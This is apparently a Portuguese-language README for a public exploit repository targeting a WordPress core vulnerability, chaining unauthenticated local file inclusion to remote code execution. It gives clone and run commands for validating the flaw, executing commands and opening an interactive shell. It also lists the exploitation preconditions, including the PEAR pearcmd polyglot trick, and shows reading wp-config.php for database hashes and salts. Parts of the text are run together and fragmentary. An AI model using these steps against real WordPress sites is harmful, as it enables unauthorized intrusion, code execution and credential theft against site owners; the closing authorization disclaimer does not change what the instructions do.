
Exploit para explorar a vulnerabilidade CVE-2026-87902 que ocorre no core do WordPress
Exploit não autenticado (LFI → RCE) para WordPress 4.7.0 – 7.1.1 · correção: 7.1.2
git clone https://github.com/Maalfer/CVE-2026-87902-exploit.git
cd CVE-2026-87902-exploit
# 1) validar o LFI (não grava nada no servidor)
python3 exploit.py --url http://alvo/ --validate-only
# 2) RCE
python3 exploit.py --url http://alvo/ -c "id"
# 3) consola interativa
python3 exploit.py --url http://objetivo/ -c id --shell
As quatro devem ser cumpridas ao mesmo tempo. Se faltar a 3, o LFI não existe.
get_page_template(), sem validate_file(). Em 7.1.2+ está corrigido.page_id para que o WordPress resolva o template (é detectado automaticamente via REST).page-* no tema ativo — obrigatório: file_exists() não atravessa um componente inexistente, então o ../ só sobe se o primeiro trecho existir no disco. O Twenty Twelve (page-templates/) o inclui; a maioria dos temas block (Twenty Twenty-Three) não. Afeta também o tema pai.pearcmd.php legível + register_argc_argv=On — o LFI apenas lê; a execução usa o polyglot config-create do PEAR. Com register_argc_argv=Off ou sem PEAR instalado, há LFI mas não RCE.Sem a 4.ª, o resultado é LFI puro: permite ler qualquer .php do sistema, por exemplo page-templates/../../../wp-config.php (hashes e salts do BD).
Apenas para sistemas próprios ou com autorização por escrito.